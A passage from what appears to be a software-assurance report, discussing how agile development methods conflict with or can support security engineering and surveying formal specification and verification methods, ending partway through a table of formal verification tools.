14. The best architectures, requirements, and designs emerge from self-organizing teams. At regular intervals, the team must reflect on how to become more effective, then tune and adjust its behavior accordingly.

Agile programming methodologies promote lifecycle practices which, in combination, are intended to mutually support each other by compensating for shortcomings or defects in the other practices. Agile methodologies differ from each other ways that range from superficial (e.g., assigning different names to comparable lifecycle practices) to more significant (e.g., some agile methods, such as ASD, Scrum, and DSDM, focus more heavily on project management and collaboration practices while others, such as XP, focus on software development practices). All agile development methodologies (with the one exception noted below) are consistent with the core principles of the Agile Manifesto, although each methodology may prioritize and achieve those principles somewhat differently.

The most noteworthy of the software methodologies that fall under the “agile” umbrella are listed in Table 4-2.
Table 4-2. Major Agile Methods

<table>
<thead>
<tr>
<th>Method</th>
<th>Abbreviation</th>
<th>Author(s)/Affiliation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Agile Software Process</td>
<td>ASP</td>
<td>Mikio Aoyama/Nanzan University and Fujitsu (Japan)</td>
</tr>
<tr>
<td>eXtreme Programming</td>
<td>XP</td>
<td>Kent Beck, Ward Cunningham/Tektronix; Ron Jeffries/Object Mentor and XProgramming.com</td>
</tr>
<tr>
<td>Crystal family of methods</td>
<td>none</td>
<td>Alistair Cockburn/IBM</td>
</tr>
<tr>
<td>Adaptive Software Development</td>
<td>ASD</td>
<td>Jim Highsmith, Sam Bayer/Cutter Consortium</td>
</tr>
<tr>
<td>Scrum</td>
<td>none</td>
<td>Ken Schwaber/Advanced Development Methods; Jeff Sutherland/PatientKeeper</td>
</tr>
<tr>
<td>Feature-Driven Development</td>
<td>FDD</td>
<td>Jeff De Luca/Nebulon</td>
</tr>
<tr>
<td>Dynamic System Development Method</td>
<td>DSDM</td>
<td>DSDM Consortium (UK)</td>
</tr>
<tr>
<td>Lean Development</td>
<td>LD</td>
<td>*Bob Charette/ITABHI</td>
</tr>
<tr>
<td>Whitewater Interactive System Development with Object Models</td>
<td>Wisdom</td>
<td>Nuno Jardim Nunes/Universidade da Madeira; João Falcão e Cunha/Universidade da Porto</td>
</tr>
</tbody>
</table>

*not committed to the Agile Manifesto

In addition to the “pure” agile methods above, there are a number of “hybrid” methods that strive to compensate for perceived inadequacies in a particular agile method by augmenting or combining that method with elements of another method. One example of an agile “hybrid” is XP@Scrum which, as its name suggests, combines practices from both XP and Scrum. In some cases, the two methods combined are not both agile, as is the case with Robert Martin’s dxProcess, which is more an attempt to adapt the Rational Unified Process to exhibit some aspects of agility than it is to define a new agile method. Other methods, such as Context-Driven Testing, are highly compatible with and supportive of agile development.

4.3.3.4.1. Potential Areas of Conflict Between Agility and Security

The following are those aspects of the Agile Manifesto’s core principles that represent potential sources of difficulty when the software to be produced must be secure:

- **Early, frequent, and continuous software deliveries:** One of the basic arguments used against agile development for secure software are that the focus on security adds time to the development process, and the Agile Manifesto’s insistence on frequent deliveries within the shortest timescales possible means that agile methods by definition cannot be adapted to add extra time for anything. Security, if it is to be achieved, must be accomplished within the very short timescales of agile delivery schedules.

In agile development, development never stops. It continues even as requirements and design change and software is iteratively tested. The highly iterative nature of the agile development lifecycle would require any independent assessor to be involved in each iteration. This is impractical. Independent reviews already increase to the time and cost to produce software. The more involved the independent assessor (usually an expensive expert) must be throughout the lifecycle, the larger the necessary increases in time and cost. For example, it has been estimated that an independent assessment of each release iteration in XP could potentially extend the time to produce that iteration from a few days to a few months or longer, depending on the software’s size and complexity.

The very Manifesto principles that make agile “agile” conflict with the need to “freeze” software at
certain points in order give an independent reviewer/tester time to fully comprehend the software’s security and assurance implications. The need to continuously “respond to change” leads to frequent redesign (called refactoring in XP). Software components may be assigned new functionality which may no longer work effectively within the software’s required security constraints.

- **Changing requirements, even late in the lifecycle:** Barry Boehm, on the panel on agile methods and high-consequence software development at the First eWorkshop on Agile Methods (see Appendix B), expressed concern that the Agile Manifesto emphasizes the need to respond to change over the need to follow a development plan. When the software being developed is high-consequence, departure from plan to “follow and impulse” as often proved disastrous, as has been proven in the software-instigated crashes of satellites and failures of telephone systems. Alistair Cockburn on the same panel observed that it is failure to note current conditions and to understand their implications in terms of the potential impact of a change will have on the system’s critical properties (safety, security, etc.) that have led to the types of catastrophes Boehm cited. Such inadequate consideration of impact has been reported even on projects where the plan was followed to the letter. The point is to respond to change **intelligently**, with full consideration of all the potential impacts of the change, and not just to “respond to change” full stop.

According to Cockburn, in agile development, testing is the natural means of responding to change safely. Another member of the same panel, Tim Mackinnon, suggested that the priority placed on “responding to change” needed to be balanced against the priority placed on the value of “working software”. In terms of security, it is the definition of “working” that must be adapted from “does what it is supposed to do” to “does what it is supposed to do without being able to be intentionally subverted or compromised”.

- **Implicit trust in developers:** In agile development, the entire development team is held responsible for achieving the requirements of the customer. This includes the responsibility for achieving software security, if that is an explicit customer requirement. Agile development does not adapt easily to the inclusion of experts, including security experts, in the development team. Nor is there any place in the testing scheme for agile development for red teams and other “third parties” who are key to the independent verification of security assurance, as is required during the C&A of software systems. The role of security experts in agile development is discussed in Section 4.3.3.4.3.

- **Daily collaboration between developers and customers:** The reliance of agile development on the ongoing direct communication between developers and their customers conflicts with the need for independent security reviewers and testers to maintain a distance from the development process in order to remain uninfluenced by close involvement with the development team or intimate familiarity with the software to be reviewed/tested.

- **Preference for face-to-face vs. written communication:** Agile software is developed very quickly, so the lifecycle enters its maintenance/upgrade phase early and remains there for the majority of the project. In agile development, developers alone are responsible for maintenance, as well as for all reviews and tests. The developer has the benefit of intimate knowledge of the software throughout its lifecycle, and whether that knowledge is gained through oral communications rather than more formal written documentation is irrelevant. However, independent security verification is based on the premises that the tester has no involvement with the development team in order to avoid being influenced by their priorities or opinions of the software.

This lack of involvement with the development team and process also means the independent tester must rely in large part on the software’s documentation to become familiar enough with the software to test it effectively. If the agile process discourages oral over written communication, it is likely that this core principle of the Agile Manifesto will be used, in combination with the constant short-fuse delivery deadlines, to justify producing only a bare minimum of documentation, and certainly not the in-depth
documented assurance argument and assurance evidence that an independent security tester would find most helpful.

- **“Working” software as the primary measure of success**: The focus of agile development on producing software that achieves the most “valuable” functionality means that agile software testing focuses entirely on verifying requirements compliance and correctness of functionality and classes. Agile security testing does not extend to penetration testing or any other kind of non-functional security testing, or other key activities of software security testing, such as examination of the least exercised parts of the software, simulation of pathological user behaviors, violation of software boundaries by inputting intentionally defective values, stressing of obscure areas of software in order to determine their vulnerability to exploit, and deep analysis of the test scenarios themselves, in order to understand how thorough the tests are.

A few other aspects of agile development that conflict with the needs of software security arise from certain agile methods’ or developer’s interpretation of Agile Manifesto principles, rather than from explicit statements in the principles themselves. These aspects are discussed below.

- **Agile approach to design**: Because in agile development design is done “on the fly”, the developer will likely be unable recognize forest for the trees, i.e., he will be unable to recognize the overall security implications and impacts of each of his design decisions.

- **Agility as a philosophy, not just a methodology**: Few books on agile methods mention security, and those that do include little more than a superficial discussion. Since agile development is as much if not more a philosophy of software development as a methodology for a software process, agile detractors suggest that it will be difficult if not impossible to get agile developers to embrace the importance of security when achieving it may require them to violate (or at least bend) one or more of the core principles of the Agile Manifesto. Agile proponents argue that nothing in the Agile Manifesto forbids the addition of activities and practices “that are not explicitly mentioned in the [agile] literature”. They suggest that any agile method can be adapted or extended to include the necessary security-related activities, such as threat modeling and even independent (third party) security verifications.

- **Test-driven development and software security testing needs**: Agile methods do not easily accommodate another core practice for software security (and safety) assurance: the independent review and testing of software by a disinterested third party, i.e., a security expert. Because there is never truly a “frozen” software baseline in agile development (at least not one that lasts beyond a few days), independent security testing is really not practical in an agile context. Also, the volatility of software in agile development would render any Common Criteria evaluation for agile-developed software obsolete even before the Target of Evaluation could be documented. In addition, the preparation, execution, and analysis of results associated with security reviews and tests take more time than most agile methods allow.

- **Agile development vs. secure configuration management**: Pair programming, a practice in XP, requires that all agile developers work in pairs, sharing a single workstation, in order to ensure that the code is examined continuously by the “observer” developer (the one who is not actually writing the code). Pair programming is claimed by XP proponents to decrease the number of defects—including security defects—discovered early in the implementation phase. In development environments in which sharing of a single workstation by two developers is unacceptable, the practical logistics of pair programming would have to be adjusted in order to still ensure that a “second pair of eyes” has near-continuous access to the software as it is written. Better yet, organizations that wish to implement truly secure development environments while also using an agile development process should choose an agile method that is more supportive of the secure environment objective.
4.3.3.4.2. How Agile Methods Can Benefit Software Security

As with all development methodologies, agile practices have the objective of encouraging good general software engineering. As noted earlier, one of the core principles of the Agile Manifesto is that “Agility is enhanced by continuous attention to technical excellence and good design”. As discussed in Section 3.3.3, any practice that improves software correctness may coincidentally improve software security by reducing the number of overall defects, among which some percentage are likely to be security defects.

Agile proponents often cite key practices included in many agile methods that are likely to reduce the number of exploitable defects introduced into software. Such practices include enforcement of coding standards, striving for simplicity of design, test-driven development, pair programming, and continuous integration.

Test driven development (TDD, a.k.a. “continuous testing”) is a cornerstone of all agile methods. TDD requires every specified requirement to be reflected in the software’s acceptance test plan. Developers write all test cases before they begin coding, enabling them to continuously verify that the implemented code has achieved all of its requirements and test objectives as it is written. The objective of TDD is to enable defects to be detected and corrected as early in the development lifecycle as possible. Agile testing is also automated to the greatest extent possible, to make it easier to run the continuous, iterative series of test cases against code as it is developed.

The flexibility and dynamism of agile methods would appear to fit the needs of risk-driven software engineering if (and this is an important “if”) the requirements-driven mentality that underpins all agile methods can be modified to acknowledge that changing risk profiles and threat models are at least as important, if not more important, in terms of the agile need to “respond to change” as user-driven changes to functional requirements.

Agile development at this point is driven almost exclusively by functional requirements. The biggest challenge, then, may be to persuade agile developers to violate one of the core principles of the Agile Manifesto, the “customer” as the only driver for requirements, in order to also embrace requirements-by-mandate (i.e., requirements driven by policy, directive, or law). Possibly the best way to make this change successfully is to redefine the concept of the “customer” as it is used in the Agile Manifesto, so that the “customer” includes all the stakeholders in the software, including the software system’s accreditor (at a minimum), risk manager, any other personnel responsible for ensuring that the software begins and remains secure during its operational lifetime.

Equivalent practices are not found in all agile methods. The question of how well a particular agile development process can be adapted to achieve the objectives of software security probably comes down to the determination of whether the specific agile methodology used can be easily extended to accommodate the necessary security analyses, reviews, and tests throughout the lifecycle (with the extra time and cost these represent). A related question of greater importance to agile advocates is whether such a security-enhanced methodology, if too many extra activities are added, can still be considered “agile”.

4.3.3.4.3. Reconciling Agile Practices with Software Security Needs

In his article “Is Agile Development Secure?”, Rocky Heckman (see Appendix B) reports that the consensus opinion among several leading software security practitioners that he interviewed is that agile methods in their “native” forms do not include threat modeling, attack tree development, or security-focused design and code reviews, and thus cannot be considered adequate for development of secure software systems.

The aspects of the agile approach that are frequently cited as being in conflict with the needs of security engineering, but the most often cited are:
Security requirements modeling and capture;
Security test case definition and test execution in the context of TDD;
The role of security experts on agile development teams;
Planning for software security in agile development projects.

While it is true that agile methods are typically viewed as orthogonal to traditional security engineering, recent efforts have been undertaken to combine agile approaches with security engineering, to produce a kind of agile security engineering method. Tappenden et al. in their paper *Agile Security Testing of Web-Based Systems via HTTPUnit* (see Appendix B) suggest that “agile security engineering” can be achieved by applying the same values that drive agile software engineering to the traditional practice of mitigating security risks in software. Some ways in which agile methods and agile teams may be adaptable to adequately address security needs, particularly with regard to the capture software security requirements, generation and execution of appropriate test cases, and planning and staffing of agile development projects, are discussed below.

### Agile Methods and Security Requirements Engineering

In the discussion at the eWorkshop on Agile Methods (see Appendix B), panelist Peter Hantos reinforced the view expressed by Tappenden et al. when he suggested that as long as software’s requirements explicitly express the issues that make software “critical” (with that criticality driving specific requirements for security), agile methods should be able to be used successfully to develop that software.

Tappenden et al. go on to suggest that agile methodologies have matured to the extent that agile security requirements capture is now possible. Ken Auer, on the same panel, further suggested that as long as the software requirements with the highest priority are identified as such at the beginning of a project, any agile method will ensure that those requirements are assigned appropriate level of testing with emphasis on the critical issues. Scott Ambler, also on the panel, went on to suggest that non-agile methods will also fail in this regard, if security requirements aren’t explicitly stated.

Bill Wood on the same panel added that “If security is important, an agile method can put it in early and demonstrate it early.” This increasingly conventional wisdom is not unique to agile methods: regardless of the type of methodology used (and even if no defined method is used at all), addressing security needs as early in the development process as possible is always more effective and less costly than waiting until late in the process, when it is far more likely to be discovered that the approach finally implemented doesn’t work as planned.

During the panel entitled “Secure Agility and Agile Security” at JavaPolis 2005 (see Appendix B), one panelist suggested the apparent conflict between agile methods and security is that in agile, requirements are expressed only in terms of “user stories”. A user story specifies how a user interacts with the system in order to create value. To a great extent, user stories are similar to use cases in UML, and share the same inadequacies when it comes to capturing requirements related to security properties and attributes that manifest as constraints on the behavior of the system, vs. constraints on the user. User stories alone are inadequate to capture such non-functional security requirements, because such properties and attributes most often must pervade the entire system, and thus cannot be limited to specific usage scenarios.

A JavaPolis panelist suggested that because techniques for capturing constraint requirements are not well documented in the agile literature, the developer would need to write a set of user stories which would be labeled “constraints”, with each “constraint” then evaluated as a component of every other user story. Tappenden et al. agree that as long as security requirements can be expressed as “technical requirements” in a format already accepted by the agile community (such as the “constraints” use case suggested at JavaPolis), those requirements can easily be incorporated into existing agile processes.
Security in the Software Lifecycle

Security Test Cases and Test Driven Development

Agile proponents suggest that, as long as the necessary non-functional security requirements are captured, as described above, the associated security-relevant test cases will be defined and exercised during the software’s iterative testing cycle, with all security reviews and tests needed to prove that the software’s security objectives have been satisfied iterated throughout that testing cycle.

As suggested by Tappenden et al, agile security engineering would need to employ a highly iterative process in which security objectives were translated into automated security test cases before implementation of the system began. These security test cases would elaborate the system security objectives and characterize the secure behaviors of the software, “secure” in this instance being whatever was considered “secure enough” by the customer, consistent with standard risk management approaches.

The JavaPolis panel suggested that it would be necessary to extend the concept of “user story to include “malicious user stories”, comparable to abuse cases. While abuse case definition is not directly supported by agile requirements definition, in practical terms, they could be defined using a tool such as using FIT/FitNesse, which produces executable acceptance tests. In the case of the abuse case tests, the expected result of each test would be the desired secure result (e.g., failure to access the system). This approach would ensure that the system was exercised to demonstrate that it behaved securely under all anticipated abuse scenarios.

Hakan Erdogmus and Joel Martin, on the panel of the eWorkshop on Agile Development, suggested that customers who value non-functional security properties need to write acceptance tests that measure those properties in the implemented software. Such tests will be more difficult to write, and are likely to may require testing tools and environments that are more complex than JUnit (a testing tool favored by many agile developers) to accomplish.

According to Tappenden et al, what is still needed is an automatable security testing infrastructure that can be integrated into existing agile development and testing processes (their paper proposes just such a “highly-testable architecture” and automated security testing framework that together constitute the required “automatable security testing infrastructure”).

The Role of Security Experts

Because agile methods emphasize collective responsibility and discourage specialization within a team, they do not adapt well to the idea of having a specific security expert on the team. The panel suggested that for agile developers to achieve secure software the security awareness and skills of all team members would have to be raised. But they also conceded that the need for external security experts was unavoidable. Such experts would be needed both to train, coach or mentor the other team members, and to perform the independent audits that are an essential part of achieving security assurance. Tappenden et al also suggest that the role of the security engineer in agile security engineering would be to advise and coach the customer about risks, to better enable the customer to prioritize those risks.

Planning for Security

Winsor Brown, another panelist at the eWorkshop, observed that the Agile Manifesto approach to planning does not allow for the amount of planning that has proven necessary for software projects to achieve high levels of security. Within the Agile “planning game” in XP and other agile methods, the user story represents the unit of planning granularity. But because user stories as currently conceived cannot adequately capture non-functional security requirements, the planning approach currently in use for agile projects must be adapted to allow for realistic scheduling of implementation, testing, and most significantly assurance verification of the software’s security properties and attributes.
Security properties were agreed by the JavaPolis panelists to add business value to the software, and within the 
framework of the “planning game”, prioritization and planning of those properties and attributes would directly 
depend on the value a given security property/attribute was seen as adding to the software. It is clearly important, 
then, that the risk manager responsible for coaching the customers to state their security needs effectively also 
influence those customers to include true security concerns among, if not at the head of, the list of concerns that 
drive their prioritization of requirements.

4.3.3.5. Applying Formal Methods to the Development of Secure Software

Formal methods apply mathematical techniques and precise mechanisms for reasoning to the design, production, 
and evaluation of software. A formal method normally combines:

- **Specification**: The use of a mathematical or a logical model, called formal model, of the system or 
protocol along with its security requirements specified mathematically. In practice, specifications are 
partial—addressing portions of a system and specific aspects of requirements. System requirements that 
can be specified precisely include both functional attributes, which address the results computed by a 
system, and so-called non-functional attributes, which address the means by which those results are 
obtained, including security, performance, usability, etc. Additionally, specifications can relate to the 
engineering of the system itself—its component structure, internal information flows, and other aspects of 
design intent;

- **Verification**: An effective and tractable procedure to determine whether the system or protocol produced 
satisfies its requirements. In practice, verification is accomplished using a variety of mathematically-
based techniques, such as theorem proving (with a diverse range of logical formalisms), model checking, 
analysis-based verification and abstract interpretation, type inference, and others. Verification can also be 
supported by hybrid techniques, for example combining inference and testing.

Use of formal specification and verification methods helps remove ambiguity and clarify understanding of the 
software being produced. Besides the distinction of means noted above, there is also a distinction of outcomes 
between formal techniques and conventional techniques for software quality. Conventional techniques include 
primarily software testing, inspection, and design evaluation. These techniques are essential to create greater 
confidence that designs and implementations are consistent with requirements. But they generally can provide 
only partial assurances—they cannot give confidence that all possible cases are covered, even when assuming 
correctness of all other components in a system (e.g., the language compiler and runtime system). Testing, for 
example, makes use of coverage metrics, but these are only heuristic guides regarding how the test cases represent 
the potentially unbounded set of possible inputs and outputs.

Mathematically-based specification and verification, on the other hand, is intended to create a genuinely positive 
assurance regarding the consistency of specification and implementation for the attributes that are modeled (again, 
assuming correctness of other system components). These techniques use mathematical tools to enable 
comprehensive theorems to be proved regarding software systems. These are based on the fact that computer 
programs are, in fact, themselves mathematical objects that can be reasoned about.

4.3.3.5.1. Formal Methods and Software Engineering

With respect to process, formal methods can be applied both *a priori*, i.e., as a software artifact is being 
developed, in order to limit the introduction of defects into that artifact, and *a posteriori*, i.e., after the software 
artifact has been produced in order to identify and remove any existing defects. In practice, the most successful 
projects employ hybrid approaches, combining a priori and a posteriori, and they employ tools that support 
incremental progress by developers and verifiers. The approaches used at Kestrel and Praxis (“Correctness by 
construction” focusing on functional attributes) and Microsoft (SLAM, PRE/fast, SAL, Fugue, etc., focusing on 
non-functional attributes), though very different in details, are similar in this respect.
Different formal methods and languages cover different phases in the development of a software system, from
requirements definition to system specification, down to low-level design and implementation, as well as
acceptance evaluation for outsourced components and API compliance for users of libraries and frameworks. The
main benefit to using formal methods and languages is the ability to exploit tools that automate reasoning about a
software system’s description at levels of abstraction appropriate to each development phase.

In practice, there can be many such descriptions, which enables factoring of a large problem into more tractable
smaller problems. Each of the resulting descriptions can then also be manually reviewed and checked against
earlier, higher-level descriptions to ensure consistency as details are progressively added. This facilitates
validation, which is the establishing of consistency of actual intent for a system with the expressed specifications.
In software engineering practice, many errors are validation errors—errors in which requirements are incorrectly
captured. In this regard, formal techniques can assist in this aspect of software engineering.

4.3.3.5.2. Limitations of Formal Methods

It is important that the benefits of formal methods not be oversold. The techniques are not equally applicable to all
problems. For example, while formal methods could be applied to user interface design, they are not the most
effective technique for building what is essentially an informal model. The techniques are also sensitive to choices
of programming language, design notations, specification languages, functional and non-functional attributes to
be evaluated, and so on. And, perhaps most importantly, the techniques vary widely with respect to the way that
scale is addressed. Additionally, some techniques support composability—the integration of results about separate
components into results about an overall system—while other techniques are not composable—forcing evaluation
of an entire subsystem or major component. When the complexity of the verification process is high, this kind of
scale-up may not be computationally feasible. Composability is thus desirable both as a way to handle scale and
as a recognition that components of a system may be developed separately, even by separate organizations, and so
would best be verified separately.

In practice, both scalability and composability have proven elusive for many formal techniques. A final
consideration is usability. This includes both training—the extent to which the persons who are using verification
tools must have special mathematical background and skills—and incentives—the extent to which developers
have intrinsic interest in employing the techniques, for example because the tools have side benefits for
productivity or because developers can more effectively warrant quality attributes in their specifications, designs,
or code.

To be successful in using formal methods, developers require expertise and significant knowledge in how those
methods are most appropriately applied. While not everyone on the development team needs the same level of
proficiency in formal methods, all must appreciate the role of those methods in the development lifecycle. Formal
methods have been most successfully applied in the engineering of high-confidence software, because the extra
measure of developer expertise and knowledge, and the additional effort and cost, is more easily justified for
software that is life-critical. Formal methods have also proved successful in the specification and mathematical
proof of small, well-structured security logic systems, such as cryptographic algorithms and operating system
reference models, and more recently security protocols.

There are other applications where formal methods, appropriately deployed, may actually improve productivity
and reduce costs. This is likely true for the type-checking systems built into modern programming languages
(Java, C#, and Ada95, for example) and some highly attribute-specific tools, such as Microsoft’s SLAM used to
assist both in development and in acceptance evaluation for Windows device-driver protocol compliance. There is
already economic evidence emerging (Barry Boehm) that aggregate lifecycle costs may be equal or lower for
high-confidence systems even when development costs may be higher.
4.3.3.5.3. Formal Methods and Secure Software Engineering

When applied to the problem of secure software engineering, formal methods have been used to specify and mathematically prove the correctness of security functionalities (e.g., authentication, secure input/output, mandatory access control) and security-related trace properties (e.g., secrecy). However, to date it remains a research challenge to develop formal methods for the specification and verification of non-trace security properties in software, such as non-subvertability of processes or predictability of software behavior under unexpectedly changing environment conditions associated with malicious input, malicious code insertions, or intentionally-induced faults.

Because software security properties must often be expressed in negative terms, i.e., in terms of what the software must not do, it is particularly difficult to specify requirements for those properties (formally or informally), and then to mathematically prove that those requirements have been correctly satisfied in the implemented software. These are often called safety properties, which are universal statements that “nothing bad will happen”.

There are techniques to establish safety properties within software components when there are solid guarantees regarding the environment in which the software components are to be embedded. But the reality is that it is profoundly difficult for engineers who develop logical models to anticipate all potential changes in environment state so they can formally model the resulting changes in software state with precision. And, because the environment state is a physical reality that (in most cases) can only be partially modeled, it is effectively impossible to mathematically prove that, given an unanticipated change in environment state, the software will never react by entering a state it is not supposed to enter, perform a function it is not supposed to perform, or demonstrate a behavior it is not supposed to demonstrate. The problem is that, in the context of software embedded in physical environment, no methods, formal or otherwise, can yield guarantees regarding the absence of a certain behavior under all possible circumstances.

The inability to produce guarantees regarding physical systems is fundamental—it is not a limitation of these particular methods. It is, rather, a limitation of our ability to model the completeness of physical reality ranging, for example, from the enormous diversity of faults and failures in sensors and actuators to willful physical interventions on computer hardware. Indeed, this consideration suggests that, for major systems and embedded systems of all kinds, a practicable engineering approach will include a “defense-in-depth” toolkit including at least four components:

1. Diverse formal methods focused on various functional and non-functional attributes of software components,
2. Testing and inspection to complement and validate,
3. Probabilistic models for reasoning about faults and failures in sensors and actuators,
4. Threat and vulnerability analyses to support modeling of adversary-induced faults and other interventions.

In general, all reasoning in all sciences is done on models, with models being based on abstraction. More abstract models support easier proofs, but usually prove less. Finding the right level of abstraction depends on what we want to prove, and how much work we are able to spend on it. In regard to models of security there are three that are widely used: information-theoretic, complexity-theoretic, and symbolic. The symbolic models of security were offered to mitigate the sheer complexity of complexity-theoretic analyses, which in some cases seriously hampered proof verification. Symbolic proofs of secrecy are considerably simpler, and thus less error prone than computational proofs, but they also prove less. In a sense, the situation is somewhat analogous to higher-level vs. low-level programming languages: the former are easier to use, the latter allow finer control, but the price to be paid in complexity is such that this often leads to less assurance, rather than more. But people keep using both high-level and low-level languages, for suitable tasks.
The task of security engineering, it seems, is to define modeling methodologies at a suitable level of abstraction, as to preclude vulnerabilities that might arise from attempting to model more than we can manage. This means that the initial modeling should be done at an abstract level, usually in the symbolic model. As needed, this model can then be refined to capture the information theoretic and the computational aspects. The three models of security can be viewed as nested in each other. The design and analysis process should progress from the simplest to the most precise models. Stratified in this way, the models are more manageable, and less prone to error.

Formal methods, like other techniques for improving software quality, have particular benefits, and these are often complementary with the benefits of other techniques. That is, there are important areas where formal methods (theorem proving, software analysis, model checking, design analysis, etc.) can yield results otherwise infeasible to achieve with other methods. But there are other areas, as noted above (particularly the modeling of physical faults and interventions), where formal methods, strictly defined, are less appropriate.

With respect to security, formal methods benefit software security to the extent that increasing the likelihood of correctness in software may increase the likelihood that of the security of the overall system in which that software is embedded. In any complex system, assurance is achieved through the combination of diverse methods appropriate both to the particular engineering materials (e.g., processor chips, sensors, actuators, software components in various languages) and to the challenges of the environment and requirements it places on the system that is meant to act in that environment. At the aggregate system level, the end result of the process may be a probabilistic measure. But formal methods can provide a unique contribution by drastically lowering the probabilities of certain kinds of faults and errors in the software components (and in hardware designs), and thus raise the barrier to entry for adversaries focused on software design and implementation.

4.3.3.5.4. Successful Uses of Formal Methods to Solve Software Security Problems

The following are two examples of ways in which formal methods have been successfully applied to the software security problem.

Type Checking

Type checking, now integral in modern programming languages (Java, C#, Ada95) is a particularly significant success of “formal methods” broadly construed, even though it is invisible to developers. It advances the detection of many, many faults from runtime to compile time. The “specification” is the type information provided by programmers in declaring variables; the “verification” is the use of algorithms (such as Hindley-Milner) to infer types elsewhere in the code and assure the overall typing is internally consistent. The outcome is an assurance (contingent on an absence of extrinsic interferences) regarding, first, the integrity of interpretation of raw bits as abstract values in software, and, second, the access pathways to those values. This is a significant breakthrough in software safety, and it affects the practice of all software engineering organizations using the languages mentioned above.

Model Checking

Model checking is also a “formal method,” even though it only occasionally can produce a result free of false negatives. This is because model checking usually involves depth-bounded search for counterexamples, and with an arbitrary depth bound. With some analysis, it is possible to consider a model checking result a basis for positive assurance, but this is not intrinsic in the technique.

It is useful to consider the case of the SLAM tool developed at Microsoft Research, which is based on federally-funded formal methods research done a decade earlier at universities: Most of the Microsoft “blue screens” experienced in the 1990s were due to faulty device driver code developed by third parties unrelated to Microsoft. The SLAM tool uses model checking and binary decision diagrams to directly assess protocol compliance for device drivers, and the assurances produced by this tool are now prerequisite to including any device driver in the Windows XP build. This has hugely reduced the frequency of blue screens since shortly after 2000.
In addition to SLAM, Microsoft now uses specifications (SAL), deep program analysis (PRE/ast), and other techniques. These examples are important to emphasize because:

1. They all build on years of early research in formal methods (SLAM is based on university results related to model checking and binary decision diagrams);

2. They directly and successfully address the adoptability challenges. This is a positive feature—the hybridization and integration of the various quality techniques is likely to be key to scaling up and integrating into practice.

4.3.3.5.5. Formal Development Methods, Languages, and Tools

Tables 4-3 through 4-6 provide a examples of methods, languages, and tools that may be broad enough in their applicability to be used in the development of general-purpose software. Numerous other formal methods, languages, and tools exist, but are tailored to very specific development problems, such as the formal specification and correctness-proof of network protocols, security protocols, cryptographic algorithms, embedded operating systems, etc. In any case, the listings in the tables below should in no way be considered exhaustive.

It should be noted that use of many of the methods, tools, and languages listed below has been limited to specification of communications protocols, cryptographic algorithms and protocols, telecommunications and other embedded systems, or hardware logic. Few if any have been used in the development of larger, more complex software systems. Specware has been used by the Kestrel Institute and the NSA in the implementation of the JavaCard secure JVM for smart cards. Note also that specific resources on these methods, languages, and tools below are not included in Appendix B, as their direct applicability to the creation of provably secure software has not been demonstrated.

Table 4-3. Formal Development Methods

<table>
<thead>
<tr>
<th>Method Name</th>
<th>Developer or Supplier</th>
</tr>
</thead>
<tbody>
<tr>
<td>B</td>
<td>Jean-Raymond Abrial</td>
</tr>
<tr>
<td>Cleanroom Software Engineering</td>
<td>CMU SEI</td>
</tr>
<tr>
<td>RAISE</td>
<td>European Commission European Strategic Program on Research in Information Technology (ESPRIT) Programme</td>
</tr>
<tr>
<td>RRT</td>
<td>British Telecom (BT) and Leeds Metropolitan University</td>
</tr>
</tbody>
</table>
Table 4-4. Formal Specification Languages

<table>
<thead>
<tr>
<th>Language Name</th>
<th>Language Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>ACL2</td>
<td>Abstract modeling</td>
</tr>
<tr>
<td>CASL</td>
<td>Algebraic</td>
</tr>
<tr>
<td>CASL-LTL</td>
<td>State transition</td>
</tr>
<tr>
<td>Esterel</td>
<td>Temporal logic</td>
</tr>
<tr>
<td>Lotos (ISO/IEC IS-8807)</td>
<td>Temporal logic</td>
</tr>
<tr>
<td>Lustre</td>
<td>Temporal logic</td>
</tr>
<tr>
<td>Maude</td>
<td>Algebraic</td>
</tr>
<tr>
<td>MSC (CCITT Recommendation Z.120)</td>
<td>State transition</td>
</tr>
<tr>
<td>OBJ family of languages</td>
<td>Algebraic</td>
</tr>
<tr>
<td>Occam</td>
<td>Temporal logic</td>
</tr>
<tr>
<td>OCL</td>
<td>Abstract modeling</td>
</tr>
<tr>
<td>Petri-nets</td>
<td>Temporal logic</td>
</tr>
<tr>
<td>Pi-calculus</td>
<td>Algebraic</td>
</tr>
<tr>
<td>PROMELA</td>
<td>Abstract modeling</td>
</tr>
<tr>
<td>RSL</td>
<td>Axiomatic</td>
</tr>
<tr>
<td>Signal</td>
<td>Temporal logic</td>
</tr>
<tr>
<td>Spi-calculus</td>
<td>Algebraic</td>
</tr>
<tr>
<td>Statecharts</td>
<td>Temporal logic</td>
</tr>
<tr>
<td>Statecharts, SDL</td>
<td>State transition</td>
</tr>
<tr>
<td>TLA+</td>
<td>Temporal logic</td>
</tr>
<tr>
<td>UMLSec</td>
<td>Abstract modeling</td>
</tr>
<tr>
<td>VDM (including variants/derivatives)</td>
<td>Axiomatic</td>
</tr>
<tr>
<td>Z (including variants/derivatives)</td>
<td>Axiomatic and abstract modeling</td>
</tr>
</tbody>
</table>

Table 4-5. Formal Development Tools

<table>
<thead>
<tr>
<th>Tool Name</th>
<th>Developer or Supplier</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fluid Double-Checker, Greenhouse Lock Assurance, and Models of Thumb</td>
<td>CMU</td>
</tr>
<tr>
<td>PerfectDeveloper</td>
<td>Escher Technologies</td>
</tr>
<tr>
<td>Programatica</td>
<td>Oregon Health and Sciences University OGI School of Science and Engineering</td>
</tr>
<tr>
<td>PVS with SAL</td>
<td>SRI International</td>
</tr>
<tr>
<td>SOFL</td>
<td>Hosei University (Japan)</td>
</tr>
<tr>
<td>SparkAda</td>
<td>Praxis High Integrity Systems</td>
</tr>
<tr>
<td>Specware</td>
<td>Kestrel Institute</td>
</tr>
<tr>
<td>Statemate</td>
<td>I-Logix</td>
</tr>
<tr>
<td>VSE</td>
<td>German Federal Ministry of Education and Research’s Verisoft Project</td>
</tr>
</tbody>
</table>
### Table 4-6. Formal Verification Tools

<table>
<thead>
<tr>
<th>Tool Name</th>
<th>Tool Type</th>
<th>Developer or Supplier</th>
</tr>
</thead>
<tbody>
<tr>
<td>ACL2</td>
<td>Model checker and theorem prover</td>
<td>University of Texas</td>
</tr>
<tr>
<td>Bandera</td>
<td>Model checker</td>
<td>Kansas State University</td>
</tr>
<tr>
<td>BANE</td>
<td>Constraint-based analysis tool</td>
<td>University of California at Berkeley (UC-Berkeley)</td>
</tr>
<tr>
